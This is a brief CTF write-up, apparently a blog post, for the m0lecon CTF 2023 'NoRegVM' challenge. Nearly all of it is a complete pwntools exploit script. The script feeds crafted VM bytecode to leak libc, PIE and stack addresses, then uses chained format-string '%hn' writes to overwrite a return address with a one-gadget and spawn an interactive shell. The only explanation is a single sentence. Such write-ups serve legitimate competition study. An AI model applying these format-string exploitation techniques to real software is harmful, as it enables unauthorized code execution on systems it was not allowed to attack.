[CTF write up] m0lecon CTF 2023 - NoRegVM : FSB VM exploit
2023. 5. 14. 02:56ㆍCTF write up
취약점은 여러가지인데 전부 이런저런 이유로 익스하기가 힘들다. fmt 문자열이 덮히는 걸 이용해서 FSB를 이용해 Exploit 하였다.
There are many vulnerabilities, but all of them are difficult to exploit for one reason or another. Exploited using FSB by using that the fmt string can be overwritten.
from pwn import *
pay = p32(7) + p32(0) + p32((464+8)) #popin
pay += p32(8) + p32(464) + p32(8) #popout
pay += p32(0xa) + p32(1) #write
pay += p32(5) + p32(6) #reset
pay += p32(0x9) + p32(20) #read
pay += p32(7) + p32(208) + p32(20) #popin
pay += p32(8) + p32(0) + p32((208+20)) #popout
pay += p32(0xa) + p32(1) #write
pay += p32(5) + p32(6) #reset
pay += p32(0x9) + p32(30) #read
pay += p32(7) + p32(208) + p32(30) #popin
pay += p32(8) + p32(0) + p32((208+30)) #popout
pay += p32(0xa) + p32(1) #write
pay += p32(5) + p32(6) #reset
pay += p32(0x9) + p32(30) #read
pay += p32(7) + p32(208) + p32(30) #popin
pay += p32(8) + p32(0) + p32((208+30)) #popout
pay += p32(0xa) + p32(1) #write
pay += p32(5) + p32(6) #reset
pay += p32(0x9) + p32(30) #read
pay += p32(7) + p32(208) + p32(30) #popin
pay += p32(8) + p32(0) + p32((208+30)) #popout
pay += p32(0xa) + p32(1) #write
pay += p32(5) + p32(6) #reset
pay += p32(0x9) + p32(30) #read
pay += p32(7) + p32(208) + p32(30) #popin
pay += p32(8) + p32(0) + p32((208+30)) #popout
pay += p32(0xa) + p32(1) #write
pay += p32(5) + p32(6) #reset
pay += p32(0x9) + p32(30) #read
pay += p32(7) + p32(208) + p32(30) #popin
pay += p32(8) + p32(0) + p32((208+30)) #popout
pay += p32(0xa) + p32(1) #write
pay += p32(5) + p32(6) #reset
pay += p32(0x9) + p32(30) #read
pay += p32(7) + p32(208) + p32(30) #popin
pay += p32(8) + p32(0) + p32((208+30)) #popout
pay += p32(0xa) + p32(1) #write
pay += p64(0x0) #end
f1 = open("code.m","wb+")
f1.write(pay)
f1.close()
mem = b'\x00'*(0x1F40)
f1 = open("mem.m","wb+")
f1.write(mem)
f1.close()
#context.log_level = 'debug'
p = process(["challenge", "code.m", "mem.m"])
stdout = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(f'stdout : {hex(stdout)}')
oneshot = stdout - 0x12ea88 -3
p.sendline(b'%p %p %6$p')
p.recvuntil(b'0x')
pie_base = int(p.recvn(12),16) - 0x41a0
print(f'pie_base : {hex(pie_base)}')
p.recvuntil(b'0x')
mem_addr = int(p.recvn(12),16) - 0x24
print(f'mem_addr : {hex(mem_addr)}')
p.recvuntil(b'0x')
stack = int(p.recvn(12),16) + 0x58
print(f'stack : {hex(stack)}')
fmt_pay = f'%3${((stack-0x38) & 0xffff)}d%18$hn'.encode()
p.sendline(fmt_pay)
fmt_pay = f'%3${((oneshot) & 0xffff)}d%59$hn'.encode()
p.sendline(fmt_pay)
fmt_pay = f'%3${(((stack-0x38) & 0xffff) + 2)}d%18$hn'.encode()
p.sendline(fmt_pay)
fmt_pay = f'%3${((oneshot >> 16) & 0xffff)}d%59$hn'.encode()
p.sendline(fmt_pay)
pause()
fmt_pay = f'%3${(((stack-0x38) & 0xffff) + 4)}d%18$hn'.encode()
p.sendline(fmt_pay)
fmt_pay = f'%3${((oneshot >> 32) & 0xffff)}d%59$hn'.encode()
p.sendline(fmt_pay)
p.interactive()